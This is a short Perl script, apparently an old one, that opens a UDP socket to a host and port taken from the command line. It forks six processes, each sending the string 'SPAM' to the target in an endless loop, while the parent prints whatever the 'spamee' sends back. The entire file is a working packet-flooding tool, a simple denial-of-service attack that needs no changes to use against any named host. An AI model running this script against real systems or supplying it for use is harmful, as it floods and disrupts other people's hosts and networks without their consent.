#!/afs/athena/contrib/perl/perl

require 'sys/socket.ph';

($them,$port) = @ARGV;
$port =2104 unless $port;
$them = 'localhost' unless $them;

$SIG{'INT'} = 'dokill';
sub dokill {
    kill 9,$child if $child;
}

$sockaddr = 'S n a4 x8';

chop($hostname = `hostname`);

($name,$aliases,$proto) = getprotobyname('udp');
($name,$aliases,$port) = getservbyname($port,'udp')
    unless $port =~ /^\d+$/;;
($name,$aliases,$type,$len,$thisaddr) =
	gethostbyname($hostname);
($name,$aliases,$type,$len,$thataddr) = gethostbyname($them);

$this = pack($sockaddr, &AF_INET, 0, $thisaddr);
$that = pack($sockaddr, &AF_INET, $port, $thataddr);

# Make the socket filehandle.

if (socket(S, &AF_INET, &SOCK_DGRAM, $proto)) { 
    print "socket ok\n";
}
else {
    die $!;
}

# Give the socket an address.

if (bind(S, $this)) {
    print "bind ok\n";
}
else {
    die $!;
}

# Call up the server.

if (connect(S,$that)) {
    print "connect ok\n";
}
else {
    die $!;
}

# Set socket to be command buffered.

select(S); $| = 1; select(STDOUT);

# Avoid deadlock by forking.

if($child = fork) {
    while(<S>) {
	print("Received from spamee: $_");
    }
}
else {
    for $spam (1..6){
	$x = fork;
	if($x){
	    print("Spammer: $x\n");
	}
	else{
	    while(1){
		print S "SPAM\n";
	    }
	}
    }
}
